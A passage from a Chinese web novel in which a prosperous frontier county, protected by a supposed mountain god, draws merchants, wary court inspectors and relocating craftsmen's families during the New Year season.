正摇摇头打算走,就看那前面开始给散发试吃了。 抱着来都来了,别空跑的心态,众人试吃了一小口,等到将那绵软可口的点心放入口内咀嚼时,一股难以描述的香甜很快便弥漫在空中和唇齿间。 “这奶香十足,莫非是放牛乳了?” “应当也放了蜂蜜,里面还有不少干果,怪不得价格贵。” 吃过了味道,又看了这东西确实真材实料后,原先还在犹豫的众人立马决定购入点心。 这一来二去的,张氏点心铺很快便在本城爆火了。 无论何时看过去,那排队的人都是从一早排到中午,整个点心铺在中午几乎就可将库存销售一空,不可谓不恐怖。 先前兜里窘迫的人当日没钱去买,但如今好歹是要过年了,于是他们狠了狠心,决定过去买个两斤,算作庆祝一下过节。 大抵是众人都抱着这样的想法,于是,这几日排队空前多。 好在张氏早就嘱咐这几日多备一些货,她毕竟早在风仙县时就经历过春节。 张氏的想法很简单,只要是人,无论是风仙县的百姓,还是云城的百姓,那想给家里吃口好吃的心思是不会变的,况且还是春节,更不会在这最重要的日子里扣扣搜搜的。 因这几日工作量大,张氏还额外给了奖金,店员们是又累又兴奋。 毕竟这几天工钱翻倍,就算辛苦一些,熬过这几日,也就该放春节假期了。 最近市面上运输过来不少玻璃,水泥等新的材料,因前段时间官府已经将坏的道路重新修筑一番,如今水泥也算是彻底入了众人的眼内。 而玻璃就更不用说了,毕竟在众人看来,就算是最透亮的贝母琉璃也不如这玻璃透亮! 且更为恐怖的是,这玻璃价格可要比前者便宜多了,就算是普通人家也完全能够负担得起。 前段时间不少人家用这两样东西重新请人装修自家,一时间倒是在本城风靡起一股装修热。 话说这装修最开始时,众人最先安装的自然是马桶。 起初大伙都不明白这物到底该如何使用,但等看过用法示意后,但凡有些脑子的都知道这玩意日后用起来有多干净,多省事。 以马桶为起点,水泥玻璃等也慢慢进入百姓们家装的范围。 第303章 山神 春节在大人小孩的期盼中,总算是来了。 除了必须要上班的官府部门采取的是轮休制,上班的给三倍补贴外,工厂几乎全部都放假了。 从云城到风仙县,整个明州境内都充斥着过节欢快的氛围。 不过这过节期间绝对是各个小餐馆,酒楼,以及零售小商贩赚钱的最佳时期。 每逢过节,百姓手里有钱,无论是出去吃饭,亦或是给孩子们买点别的小玩意,总归这放假的几日往往是一年中卖货最多的时候。 商贩们还开着店,各个店铺均是人满为患,店小二穿梭在其中,忙着给客人上菜,上酒。 “掌柜的,先前那款酒水给我再来一壶!” 眼看朋友要酒,另一旁的人赶忙凑过去道。 “还不如喝我家里酿的酒算了,总之味道都相似。” 这朋友也是实在,不愿意看到对方花冤大头价格购入酒水。 这请客的人笑着摇头,故作神秘。 “这可不一样,这里卖的酒水和咱们自己酿出来的不是一个味,一会上来了尝尝便知!” 其余人本来没报期待,如今被刺激得倒是好奇。 等到店家将温好的酒送上来后,众人各自分到手一杯,看这酒水色泽澄亮,没有什么杂质和浑浊感,众人期待难免高了不少。 浅尝一口,酒水滑入咽喉,一股难以形容的绵柔感,之后便是一股辛辣慢慢升腾,给人独特的体验。 大伙原先喝的都是度数极低的米酒,果酒,如今头一次喝到这高度数酒水,个个颇为新奇。 暖烘烘的地暖烘烤得人浑身发热,再加上酒水更是氤氲出几分飘飘然之感。 “确实是好酒,只是不知道对方到底是如何酿造的?” 这其中有一人是专营酒水生意的,名叫陈留,往日会四处发掘美酒,之后便找到源头,而后再从源头批发售给不同区域的商户。 握紧酒杯,又抿一口,顿时便被这美酒征服。 其余人帮腔。 “要我说不如问问这掌柜的,不过,人也不一定能给说。” 这倒是,毕竟这也算是商业机密了,有不少人来外面吃饭,在饭食水平相差不多的情况下,作陪的酒水好坏便能影响客户的选择。 此人本想花点钱打听,但很可惜,对方压根不接受这个钱,只能无奈放弃。 等到散了会后,不少人想打包带走一些酒水,被告知库存不多,所以只能堂食饮用,这让人很是难受了。 陈留和友人告辞后,依旧不死心,此刻四处打听走访,总算在三日后意外找到了这酒水的源头。 ——风仙县。 这里距离风仙县有两天的车程,但陈留此人好奇心很重,再加上这酒水确实味道好,他几乎没有犹豫,立即选择前往。 他得过去确认一番风仙县所产的酒水到底是不是他品尝过的美酒。 若是的话,最好能拿到一些货,看情况可以开设一家酒馆专门卖酒才是。 前几日可不是白打听的,云城的酒馆不曾有这酒水,且有这酒水的商户都捂得很严实,他也是意外才从一商户嘴里听到了这地方。 连续走了两日,陈留好容易到了风仙县,本以为会是个名不见经传的小县城,总之在他的想象里,这小县城说不定还是破破烂烂的那种。 但等从城门出示身份文牒,证明自己非流民后,他很快就进来了。 前面马夫正驾马,他掀开马车上的窗布,往外去看。 入目所见,豁然开朗。 一时间,陈留觉得自己不是在一小县城,而是在另一个云城! 且更令人惊讶的是,这风仙县居然是全县铺设了水泥地,他马车行驶时还会路过不少百姓居住区,但肉眼所见,均是水泥铺设路面。 陈留暗自心惊肉跳——这铺设率比云城还要高,要知道目前的话,云城也就主干道和次干道铺设完毕,至于百姓居住区还没铺设。 很快,他便想起来那传说中的小道消息了。 听说那云城新来的知州大人便是从风仙县出来的,且当日和陈京行对战的也正是这风仙县的官兵。 这个版本自然流传甚广,但他一直不曾信过,主要也是觉得不可能。 ——什么时候,一个小破县城都能过来碰瓷明州都城了? 依他看,知州大人只是明面上来自于这风仙县,但实际上,此人背景深厚,应当有别的势力支持。 毕竟他原先也是跑过云城附近的小县城的,个个发展照云城差远了。 陈留只是听说当日仙人出现,而后救了云城不少人的性命,但话又说回来,这也只是听说,只要是他没亲眼看到过的,他一律就当假的故事听。 但如今踏入这风仙县,看到其内繁华不次于云城,若是非要找茬的话,只能说面积没有云城大,但商铺,酒楼,客栈,以及百姓居住条件,个个比云城高了一大截。 他来的时候天色已晚,一路走过来,到处都是张灯结彩,一盏盏沼气灯像是不要钱一样点燃着,将他的前路照得明白。 陈留暗叹,对于先前的传言,从不信到信了七成。 ——毕竟云城的沼气灯目前只铺设了主干道,至于别的附近的县域,则是正在努力铺设中。 按照常理来说,这偏远地带的风仙县不该发展得这么好才对。 等到到了客栈,他开了房,那店家派人将他的马匹牵引到后面的窝棚里喂养着。 陈留喊了小二,拿出五文钱,让对方给他送一桶热水。 对方倒是笑眯眯的解释:“客人是外来的吧?我们客栈热水直接可以用的,不需要送水。” 于是小二进来带他去浴室,给他指了指热水器。 “客人您瞧,这叫做热水器,每日清晨我们都会点燃开关,里面的热水便足够客人使用一晚 。” 店小二又继续给他介绍哪边是热水,哪里是冷水。 “您不动这个阀门的话,那便是温水。” 等给陈留解释完毕后,店小二得了赏钱离开了。 倒是留下陈留一个人发呆。 呆愣愣的洗漱,感受着绵密的水流冲刷着身体,将两日来赶路的疲惫洗刷干净。 他躺在床上,总算是彻底相信了先前在本县的种种传言。 等到第二日,尝了尝客栈送来的新奇的花样早餐,陈留吃得差点哭了。 这味道可比云城好吃太多了,不知道这里的人是怎么研究出来这些好吃的吃食的? 这问题不好问,于是陈留索性没问,直奔那酒厂而去。 一去了地方,发现这酒厂规模不小,却没什么人。 陈留心里一喜,以为没什么人过来定酒,等见了这酒厂的销售负责人后,这才发现他想多了。 那预定本记录得满满当当,大都是给付预定金,然后排队等待,等到轮到自己后,才会派人通知下了定金的人,而后对方才会来酒厂拿酒。 陈留苦笑一番,他来的目的便是为了要订购酒水,如今自然在新一页上写上自己名字。 “您留下一个可以联系上的地址,等到可以发货时,我们会寄信过去,您将尾款补齐后,货物便可以发了。” 没办法,他只能按照对方说的去做,离开酒厂时,能看到里面空荡荡的,应当是因为春节放假的缘故。 厂子里目前就销售负责人在。 虽说没能顺利拿到酒水,但陈留很快便发现这风仙县有太多值得大批购入,然后带到云城去的东西了。 吃的方面譬如各种调味酱,调味料,布料的话,有许多新的颜色值得购入,别的方面,那新奇铺子里卖镜子,保温壶,总之他一个都不曾在云城看到过。 或许也有聪明人卖,但总归缺口太大,卖的人太少。 陈留很快不再灰心,反而开始专心倒购这些东西,倒是趁着春节期间赚了一笔钱。 像陈留这样的人不少,会因为各种乱七八糟的原因来到风仙县,等到看清楚这风仙县的机遇后,便各个开动脑筋,也做些倒买倒卖的活计赚些快钱。 春节欢庆的氛围充斥着明州。 有人欢喜有人愁。 时刻注意明州动向的黎州各个势力则是早就被震撼到了。 先前明州内乱时,他们想的是坐收渔翁之利,结果还没等到出手,新人赢了! 这让他们很是不解——这人到底是什么来头? 各个势力分别派出自己心腹前去查看将明州纳入旗下的到底何人。 等到查明新人是个女子后,还是让本就惊讶震撼的众人更是震惊。 甚至有人开始猜测是不是陈京行并非被俘虏,只是假装被赶下台,然后扶了个人上台以迷惑他们。 说不定这正是陈京行的计谋,从前方转移到幕后,更有利于日后他找机会攻打黎州和幽州。 虽说这番想的,但很快根据密探回报的消息,传言说两军交战当日,有一仙人横空出世,而后那新人才一举攻破云城,拿下了明州。 这消息传得神得很,不说别人,但凡念过几年书的人都不信。 但保皇派却有些别的想法。 五人围聚在一起,说着那仙人一事。 “你们说,这仙人会不会便是那山神?” 这提议大胆得很,但并非空穴来风,而是先前风仙县的县令给他们寄了几本画本子,上面写了仙人做的事,当初五人看着只觉得这就算是宣传山神,是不是也写得太离谱了。 那会并未当回事,但如今密探打探出来的那位仙人的情报倒是和之前那位山神的情报重叠了。 看着那几本完全一样的画本子,五人面面相觑。 “这故事都一样,应当便是山神。 难不成那所谓的新人也是那县令,之所以能将明州纳入其中,靠的便是供奉山神? 山神竟有如此实力,我等也该再向山神表个态才是啊!” 第304章 监察 但这表态也有讲究,不能乱表态。 万一对方会错了意呢?以为他们要让山神过来帮朝廷一统天下岂不是搞笑了? 虽说对于他们而言,只要能保持如今的位置和待遇的话,跟着谁都是跟着。 但事实就是,若非三分天下,小皇帝不会想着要依靠他们的势力,也不会被他们死死的捏在手心。 所以目前的话,只有维持现状,让小皇帝一直处于一个被胁迫的位置,他们才能最大限度的得到好处。 一旦想到最深层的问题后,即便是那风仙县背后真是借了山神的势力才得以崛起,他们也不能贸然过去巴结山神。 这要是被有心之人运作一番,明天早上的朝会定然是弹劾不断,虽说不致命,但也足够烦人。 不过不是说示好不行,而是说明面上的示好不行。 要示好就得背地里去做。 得讲究策略,有节奏,有前瞻性的去做。 之前他们一共给了两次银两,让那风仙县的县令当做供奉给山神的好处费。 当初想的不过是让山神保佑自家,图个长远发展。 但如今那风仙县的县令居然凭借着山神之力将整个明州拿下,这倒是让他们还额外多了一些顾忌——先前这风仙县县令只是说要建行宫,要和他们一起围猎陈京行,但如今对方竟然绕过他们将明州拿下,这确实让这五人察觉到了一丝丝失控的风险。 若是能亲眼看到自然能勘破对方到底打的什么主意,但很可惜,实在是距离遥远,再加上他们本身对于风仙县敬畏的情绪更多一些,不敢贸然真身前往。 于是五人商讨一番后,还是决定派人前去查看一番。 想起先前都是杨舒负责此事,五人很快在点了人后,其中一人提议。 “依我看,这次应该换个人过去,若是这杨舒原先就被那风仙县的人给收买了,合伙过来骗我等,该如何是好?” 这灵魂质问倒是让几人面面相觑——他们横行霸道久了,深知黎州元城是整个大炎朝最为热闹,过得最好的都城,从未想过自家使者会有叛变的可能。 虽说有些不太相信,但总归是图个放心,于是他们在让杨舒前往时,额外带上了一个合适的人。 此人名叫张绯。 倒不是说他有多心腹,而是张绯好些年前就因为脑袋不清醒,不肯在职务范围内给行个方便,结局便是被同僚排挤,最后此人被流放到元城之外当一个名不见经传的小吏。 差不多在外面呆了有三年,吃尽了苦头后,张绯总算是想开了,此人为了回元城用尽手段,很快便投诚在他们名下,如今在元城一路爬升,已经做到了七品官员的位子,属六科给事中,通俗点讲,张绯往日在朝廷上干的活更接近于水军,带节奏,带方向的那类。 张绯家里并无什么大背景,此人能从被流放出去的地方小吏重新回归到元城,甚至几年内攀爬到如今的位置,可谓是下了苦心。 他们最喜欢用的便是这种心气被彻底折断了的人,且张绯家人尚在,可以拿捏,实在很适合作为一条疯狗,替他们咬那些素日看不惯的人。 这也就是为何张绯会被推到这位子上,一来是因为此人曾吃过苦,如今抛弃幻想,变得异常恐惧被踢出元城,这份恐惧便是控制他的最好用的绳索,二来是他聪慧好用,且听话。 这次前往风仙县,自然便将张绯一并派过去,表面上是让张绯为对方夺得明州送出去一份礼物作为庆贺,实际上,张绯负责的是监察,毕竟他们相信,就算小使者杨舒会被收买,但作为曾经吃过亏,坠入地狱,而后拼命又爬回来的人来说,不可能再次选错了。 为了确保这消息不会提前传出去,杨舒也是在出发的当日才发现队伍里多了个人。 这人他自然认识,属七品官员,六科给事中张绯张大人。 他作为一个小小的使者,官职各方面都不如对方,此行做主的当然是张绯。 于是很快,张绯便被他请上主位。 实际上,杨舒勉强压住心头的焦虑—— 先前他们只是说让他按照往常一样前往风仙县,一是看看原先说的行宫建设得怎么样了,二来是问问为何不打招呼就将那明州纳入囊中,三来是让他看看对方立场。 起初杨舒在听到风仙县居然将整个明州全部攻打下后,整个人还是飘忽了一下 这可真是出乎意料啊! 他就算想破脑袋,也绝不会想到对方野心居然这么大,居然已经将明州拿下! 要知道黎州当时想对付陈京行,都还要多番讨论验证,又是对比兵马,又是对比支援,还要计算损失,总之根本不像是对方一样,说打就打了,还这么顺利就拿下了明州。 这么轻松甚至让他都有一种错觉,难道陈京行不比以前了? 但又想想这位以前曾经干出来的事,杨舒深觉不是陈京行变弱了,而是对方太强了! 毕竟那风仙县可是归仙人庇护。 最重要的是,他的家人目前还在风仙县呢,还被安排了工作,总之这件事对于杨舒来说,除了一开始的惊讶外,便是完完全全的好消息了。 这也侧面论证了,对方确实有能力护住他家人,护住那个世外桃源一样的地方,且实力增长之快有目共睹 他总算不用过于担忧事情败露后风仙县会被暴怒的朝廷出兵攻打了。 一个县域和一个州,带来的安全感自然不可同日而语。 即便是如今暴露了,杨舒猜测朝廷也不敢随便动手,势必也会一番犹豫,总得做好了准备再动手。 复杂的思绪在看到多出来的张大人后,“轰隆一声”炸成碎片。 ——等等,他说的暴露只是假设,没让今天就暴露啊! 这么一想,背后便不自觉出了点冷汗,如今张大人突然出现,那便是对方对风仙县,对自己产生了不信任,试图让张大人作为监察好带回真相。 因路上杨舒被看得很紧,他压根没有机会给风仙县那边传递情报,只能苦笑着希望等人到了后,方大人能有限制张绯的手段吧。 他是听过这位的励志事迹,纯属狠人,他这样的咸鱼压根不敢碰瓷对方。 若是平常,张大人估计连一个眼神都懒得给他,如今也是难违上面的意愿,随便被寻了个借口塞进了队伍里,不得不和他共事而已。 本以为对方会高高在上,但实际上,这位大人倒是没他想象的那般高傲,但这人明显很难对付,说一句话能挖好几个坑,均被杨舒有惊无险的瞒了过去。 从黎州到明州的距离属实不近,往日若是行进到风仙县的话,需要六七日,但如今他们只需要先前进到云城,而后再次和那新的知州大人共同前往风仙县即可。 前往云城的话,需要三日半。 最后半日时,张绯也是大概看清了这小小的使者到底隐瞒了什么东西。 这几日经过他的刻意试探,杨舒自觉瞒过去了,但实际上,还是被敏锐的张绯察觉到了不对劲。 如今此人心中早就七分笃定杨舒已被收买,但这事讲究一个眼见为实,而非个人的主观臆断。 于是他按下不表,打算等真到了地方后,看情况行事。 他倒是不怕对方会对他下手,毕竟若是他没能活着回去的话,那便是说明这事绝对有鬼,才着急弄死他。 且没什么人会想不开和朝廷公然作对,所以他作为面上的监察使,想来生命不会受到威胁才是。 张绯分析一番后,很快松懈了几分,他若有所思的看着杨舒靠着车厢打盹,好奇这人是怎么敢做出背叛朝廷,被对方收买的蠢事来的? 又一想,不过是一小小的使者,本就工钱极低,养家不易,想来是对方给予金钱徐徐诱之,一时把持不住才会被收买。 他眼内不自觉闪过一丝淡淡的嘲讽。 ——也是,他的亲身经历告诉他,如今这世道里钱权最为有用,他为了权可以恬不知耻对保皇派投诚,那对方也能为了钱,对着风仙县投诚。 本质上,他们两人没有任何区别。 都只不过是攀附金钱权力的走狗。 无论是被迫还是主动,总归早早将绳索套在自己脖颈,然后乖顺的将另一头放在了对方的手里。 张绯按下略起波澜的心绪,而后看向窗外。 越是靠近明州,外面便越是寒冷,如今还属于春节期间,但温度依旧很低。 马车保温性能不错,里面还放了炭盆供人烤火,和外面的严寒形成了鲜明的对比。 一路走来,张绯匆匆扫过黎州境内偶遇的冻死的尸体,那些尸体看着应当刚死去不久,还没彻底冻得发硬,被饥肠辘辘的鬣狗撕扯着,揪出温热的肠子。 那点血腥味其实不重,因为他们的马车距离鬣狗还算远,不至于能闻到那令人窒息的血腥味,甚至马夫在看到他掀开在看外面时,很有眼色的驾马远离了那等糟污事。 但张绯却觉得那味实在是令人几欲呕吐。 他看得清楚,那鬣狗先下嘴的地方是尸体最为柔软处,这些鬣狗最喜欢吃肠子,其次便是那柔软的眼球。 在“咔嚓”的脆响中,薄薄的雪地里缓缓的流淌着暗黑色的血液,一只眼球“咕噜噜”的滚出来,黑眼珠猝不及防和他来了个对视。 几乎电光火石,张绯想到了过往他被赶出云城后的画面,那个时候他还很天真,直到亲眼看到这世道有太多无法言说的不公不义,那样的庞然大物,绝非是他能抗衡的。 那只眼球还在看着他,只是没对视多久,便被追赶上来的鬣狗一口咽下,贪婪又急切的吞入腹内。 第305章 松动 马车连着走了三日半,路途下着小雪,一行人路上见了不少被冻死,饿死的尸体。 这些尸体很快便被雪花覆盖,而后将这罪恶掩盖。 等到踏入明州边境后,张绯便察觉到不对劲。 这明州境内竟然遇到的尸体比黎州境内少了不少,或许是因为雪掩盖了一部分尸体的缘故? 总归一路走来,遇到尸体的概率直线下降。 张绯不是很信这些所谓的上位者,所以他更倾向于是雪覆盖了尸体,而不是这新的知州有所作为。 而杨舒同样也注意到了此事,他和张绯的想法不同,他是见过风仙县的繁华的,既然是风仙县在仙人的庇护下将这明州纳入囊中,那定是因为仙人,定是因为方大人,所以这明州才不会有那么多的人饿死,冻死。 两人没怎么深度沟通,平时都是做做表面功夫寒暄一番,各自琢磨着心事,一路上倒是顺利,没遇到抢劫的流寇,总算是在最后一天下午到达了云城。 云城戒备森严,光是从外表上看不出和当初陈京行统治的区别。 毕竟当年陈京行或许在别的地方不够有作为,但对于军事力量一向还是很看中的。 也就是遇到了风仙县这群开了挂的,有靠山的,不然谁也不敢轻易对他动手。 一行人在城外等待传信,但凡是对方还愿意和黎州做表面功夫的,这城门今日便不可能不开。 杨舒表面上淡定,但实际上冷汗有些控制不住的往外渗了点。 但又一想,他如今不过孤寡一人,家人全部被转移到风仙县,他又有何可怕的? 这么一想,先前还觉得颇为害怕,如今便觉得有些无所谓了。 而张绯也是将杨舒的表情变化看在眼里。 虽说对方面上没什么太大变化,但浑身那股难以描述的氛围骤然间变得松弛起来。 让张绯略有不解。 但很快又逻辑自洽——也能理解,毕竟被对方收买,如今来到了熟悉的地方,有着熟悉的上司和自以为可靠的靠山,自然要比和他在路上独自一人时来得更轻松。 城内很快派人将他们带进去。 像是云城这样级别的州城,内部的环境肯定是要好些的,张绯估计应当只是比元城略次,但等看到初入云城,路面宽阔,马车顺利的行驶在三合土路面上直奔州府时,他还是微微一愣。 ——这道路很平整,应当是后期有过修缮,不说别的,就算是宏伟如元城,如今三合土路面也有多处松动,目前维修也已经纳入朝廷代办项目。 张绯知道那群人定会用这修路之名中饱私囊,硬生生的制造出许多贪污腐败之事来。 只是这云城倒是下手快,竟然是先修缮了路面? 张绯仔细观察,而后便发现了不对劲。 奇怪,这里不仅仅是驰道重新维护过,就连别的道路竟然也是铺设了三合土? 揉了揉眼睛,确认自己没看错后,张绯心下惊诧。 要知道三合土造价高昂,只用在最重要的路途制作上,对于素日平民百姓使用的道路,石板路已经是极好,大部分时候,都还得铺设石子路。 他直勾勾盯着平整的三合土路面,难免陷入沉默。 而一旁的杨舒则是默不作声,直到张绯开口:“先前来此地便是如此?” 杨舒知道他是想对比这变化是发生在陈京行执掌期间,还是之后。 但很可惜,杨舒他可真是不知道。 “张大人,下官实在不知,先前去的时候我等都是绕路直奔风仙县的。” 张绯倒是继续问:“那风仙县道路情况如何?” 杨舒心想这人是打算问到底了,不过当初对于这方面,他那会又没有被方大人劝降,自然是老老实实将风仙县修路一事上报上去,当时保皇派还以为那路是专门为了皇帝下巡而修建的,个个被哄得心花怒放。 于是他便老老实实道:“风仙县的话,也是修了路的。” 话说到这里,其实张绯已经知晓了这维修到底是谁做的了。 此人在一小县城时都有修路的远见,没道理来到州城后不重视路面,一个人的性格很难会有大变化,看来这云城的维修便是这新来的知州做的。 只是此人来了后竟然决定将银两投资在这样需要长远经营的修路方面,这很让张绯惊诧,谁都知道,若是想潜心发展,修路绝对是重中之重,但大部分人没有这个耐心,宁愿想着先捞一笔,绝非是为了所谓的后续发展而做这些收益率很低的事。 张绯生出了点对新知州的好奇,但这并不代表他就会对对方有所改观。 不过,这修路的资金从哪来? 莫非也是税收得极高? 他掀开帘子,去看路上行走的百姓状态。 其实如今正是春节期间,出来的人不少,这倒是方便了他。 但连着观察了几人后,张绯脸上透露出不可思议之色。 这些人穿着厚实的棉衣,脑袋上还戴了帽子,个个揣着手,三五成群的聚集在一起走在路上,其姿态放松,完全不像是他过往曾看到的百姓模样。 张绯不自觉将身体往外挪了点,好看得更清楚—— 这离得近了,便看到这些人个个脸颊饱满,还泛着红润,眼神透亮,带着希望,完全不像是长期挨饿,处于绝望境地的面容。 起初他以为是家中小有资产的人,但再扫过街上的人均是如此,便知晓这就是寻常百姓。 一时间,张绯可谓是被副场景震惊得半天不知说什么好。 很快他们的马车便路过那些百姓,他不得不将帘子放下来,但眼睛一闭,就能想到那些人红润的脸庞从眼前飞过,麻木的心像是被人架起来用火灼烧着,麻麻的,痒痒的。 杨舒也看到这一幕,他还好点,毕竟他在风仙县已经被震惊过了 马车很快便被引着到了地方,方知意则是抽空见了他们。 张绯本以为这新知州是个中年男子,但等看到对方不过是一年轻女子后,倒是微微愣神。 不过有一说一,这位新的知州大人的确是气场强大,初次见面时,他第一时间竟没能观察出对方性别,只是处于被对方气度震撼的状态。 不过他也是见过世面的,不至于会因为这事就乱了阵脚。 而方知意最初看到张绯时,她便知晓黎州这是派了可靠的人过来打探情况。 但她早就对此事有安排,像是寻常一样安置招待了他们,等到席间张绯带着任务开口询问她立场如何,方知意自然面不改色说谎表示了自己的立场一直都是效忠朝廷。 至于为何要不先吱一声就攻打明州,实在也是因为当初山神突然联系到了她,说是那日占据天时地利人和,是个完美的好时机,让她立即出兵。 出于对山神的信任,以及害怕错过此次机会难以铲除陈贼,难以为朝廷效力,所以她这才出手。 “先前在下给朝廷写一封信自述此事,看眼下这情况应当是路途出了事,没能给顺利送出去。 还望海涵,实在是最近繁忙,竟然是顾不得看那信到底送出去没。” 方知意给的理由十分具有说服力,就算他们怀疑,但事实就是她确实靠着山神拿下了明州,即便有些许异心,但先前方知意便和祝应讨论过此事,两人结合从慎刑司打探到的黎州隐秘消息以及从陈京行嘴里得到的情报,很快便能推断出保皇派实际上并不想让小皇帝一统朝廷。 于是面对这来自黎州的探查消息的新官,方知意自是编造出一番极具迷惑性的,半真半假的谎言。 说实话,张绯的确分不清她说的是真话还是假话,但他最重要的是要将那几人的心思点出去。 等听到张绯暗含深意的提点后,方知意立马就知道她们猜得不错,保皇派确确实实是不想让朝廷一统的。 当日,他们一行人便被送到专门住宿的地方入住。 而与此同时,当晚,慎刑司便调查到了张绯的情报,将此人过往之事通过在元城设置的通讯道士传递过来。 听完了这张绯的过往,方知意总算知道这些人为何派此人过来负起监察的责任来了。 一切全是因为这人是最不可能被收买,最不可能再允许自己跌落深渊的人。 但既然此人有这背景,那便说明本性并不坏,对于她们而言,也是有利用价值的,无论是让他日后继续哄骗朝廷,还是说等之后将这人撬过来替她们工作。 确定好该如何对待张绯后,方知意安心处理别的公务,之后又给永道宫那边发了通讯。 张绯和杨舒被安排在隔开的两个屋内。 这房间收拾得干净,一进去便热浪扑面,张绯微微蹙眉,试图寻找着炭盆放在哪里。 先前和那知州大人谈事时,他穿得多,热得后背都开始冒汗,当时不好让对方将火调小点,如今到了住处,他自然想将温度调节到合适的温度。 只要按照烟味,其实是很容易找到炭盆的,毕竟烧起来无烟无味的银丝炭数额有限,他作为七品官员,每年冬日发放的数额也不够点一个冬天的,平时还要混合着别的炭一块用才能过冬。 云城就算是修了路,但总不至于给这房间都要用银丝炭吧?那也太奢侈浪费了。 只是找了一圈,竟然是没找到炭盆。 确定没找到后,张绯喊了人,问对方这炭盆在哪,结果对方告诉他这屋子采取的是地热给暖。 张绯学识颇丰,以往曾经听过这地热给暖,权贵之家会这么做,大致原理便是和北方地区的土炕一样,地面下面有人用火加热,将热气源源不断的传递到房间里来。 虽说这么做会让整个房间温暖如春,但极度奢靡浪费,他先前的那点松动,如今再次被按了回去。 第306章 搬家 在听到是地热取暖后,张绯面色不变,心下微冷,等到下人下去后,他躺在床上让自己什么都不想,只是越是这般,脑内却控制不住的胡思乱想——想过几日后他应该会前往那风仙县查看行宫建造的如何,毕竟此行他的任务必须要保证做完才是。 黑夜中,张绯缓缓合眼。 睡吧,他这些年早就做了决定,如今不过是将过往所做决定再做一次而已,这对于如今的他来说并不难。 他一直是这样走来的。 对比张绯的心境变化,一墙之隔的杨舒完全感受不到。 两人被分隔开来后,杨舒自然是将此行中途之事悉数告知,等报告完毕,见方大人表情并无变化后,他大着胆子询问他家人在风仙县过得如何。 先前害怕暴露,他一直忍耐着不曾去打听,家中也不敢随意写信过来。 在知晓家人一切顺利,有房有工作,过得有滋有味后,杨舒难免松了口气。 他敢为对方继续做事靠的就是这点期待,没什么比听到家人的好消息更让他心情澎湃的。 杨舒感受着温热的地暖,又舒舒服服的洗了个澡,开始想象自家人是不是也能在寒冬里过得这般幸福。 虽说他冬日不曾去过风仙县,但方大人刚才说了,风仙县的基础设施只会比这里更完善。 方大人不屑于编造谎言,杨舒总算是放下了担忧。 他先前是通过房内暗道前往一会议厅内和方大人面谈的,谈完了便被人原路派送回去。 方知意知晓既然张绯来了,恐怕下次来监管的人还会是张绯,并非小使者杨舒。 毕竟原先是风仙县,不值当派官员过来,但如今风仙县已经从一小县扩大到一州,对方自然也会派更有分量的人前来。 看来很快杨舒就能从元城离开,踏上和家人团聚的道路了 与此同时,春节期间,不少从黎州元城前往风仙县工作的黎州匠人趁着春节期间返回老家看望家人。 这些人大都是因为种种顾虑暂且没能下定决心让家人搬来的保守匠人。 对于这些人,风仙县不曾拦着,只是在告知对方什么该说,什么不该说后,便放行了。 事实上,只要风仙县工钱待遇一直这么高,那这些匠人只要不是缺心眼,就不可能会一去不复返。 刨除这些数量极少的,想从风仙县返回元城过春节的匠人外,大部分则是在风仙县拿下整个明州时彻底放心,决定将家人接过来——风仙县连陈京行这样的人物都能击败,那岂不是说明本县实力很是强悍? 既然实力强悍,那便有希望和朝廷打得一来二去,而非是白给那一挂。 这年头哪有什么百分百的安稳,眼看风仙县扩大领地成功,大概一多半从元城来的匠人都纷纷给家人写信,让他们赶快坐着马车前往风仙县。 这些信件像是雪花一样飘到匠人家属的手上,若是单独看这封信的话,会让人觉得丈夫是在胡言乱语,但这小半年来丈夫陆陆续续往家里寄的钱可是实打实的多了。 最为重要的是,除了工钱可观,丈夫时不时便会给寄来一些好用又便宜的东西过来,布料,干货,白糖,盐巴,哪一样在元城都是得花大钱买的东西。 当然,这些家属收到东西后,自然不敢声张,省得被有心之人听到了作妖,基本上都是自家偷摸着用了。 小半年来,竟是陆陆续续靠着寄过来的东西也省了不少钱呢! 如今看到丈夫所写信件,说是那风仙县如今已经掌控整个明州,让她们快些坐着马车过来。 大部分均是觉得心头一松,而后又紧张了点——不能放松,至少得等彻底离开元城才能轮得到彻底松快,若是在这个节骨眼上出了岔子,可真能懊悔一辈子。 前往风仙县的方式还是匠人们拼车,马车依旧是在城外等待,且这些人都给家人嘱咐过话,千万不要带大件物品,只带最重要的东西即可。 在这乱世能活下来多少都有点脑子,现如今均是信件上怎么说,她们便怎么做。 而在之间,吴匠人的妻子也赫然在列。 她本是不愿意过来的,但无奈,吴匠人实在是将风仙县描绘得好得天上有地下无的,一来是被吸引了,二来也是好奇心上来了,这才决定过去。 为了确保妹妹的安全,再加上元城内确实没什么活计,于是吴匠人妻子的兄长便自告奋勇,接下了送妹妹过去,顺带看看那所谓的好工作到底是什么。 一大早,两人便结伴而行,顺利从元城出去,直奔吴匠人所说之地,等待马车。 过城门时,两人多少都有些紧张,但事实上,那守城的官兵甚至懒得瞧他们一眼,便将他们放了出去。 ——最近是春节,不少元城的百姓会频繁出入城门,去附近次一级的县城,乡镇探望亲属。 所以这几日,守城的官兵总能看到陆陆续续背着包裹,拉着孩子,拖家带口出去的人。 这也是为何众匠人纷纷选了春节这日子,哪怕这日子要给镖行加价,但总体来说更安全,更容易浑水摸鱼,不容易被官兵拦截下来盘查。 普通老百姓大都心理素质不够,若是遭遇官兵盘查,没几下就会被盘问出实情,最后导致事情败露。 所以众人一合计,不如就选在最安全的日子里,最大限度的降低被发现的概率。 吴匠人的妻子名为王英,她的哥哥名为王魁,兄妹二人很顺当便找到了停在林子里的马车。 据吴匠人所说,镖行会挂着黄色的,写着“仙”的旗帜作为标记,二人离得远时便瞅到了那黄色旗帜迎风飘扬,这才敢走近了。 去了一看,发现来的人不少,先来的人先上马车。 王英大概看了一眼这镖行的马车,发现这马车数量不少,目前的话,大概有一大半都坐满了人。 为了安全,众人不敢全部一窝蜂出城,大都选择分开着出城,所以前前后后总会耽误一些时间。 等到又等了有一个时辰,镖行的人开始清点人数,确定人都到齐了后,马车静默地开始行驶。 王英早就将马车研究明白,这马车虽说算不上豪华,但竟然有一扇用打薄了的贝母做窗户的窗子。 外面的光线这才得以透过窗子钻进来,不至于说马车内黑黢黢一片。 但这已经足以让她震惊了——用贝母做这马车的窗户?是不是太奢侈了? 显然其余人也被这大手笔惊在原地。 原以为冬日马车为了御寒,定会将窗户定死,省得寒风倒灌进来,但如今看来,倒是比预期强太多了。 隔着窗户,还能看看外面,虽说外面一切都被雪覆盖,白茫茫一片,无甚好看的,但雪地反射着日光,将马车内照得竟然生出了几分暖意。 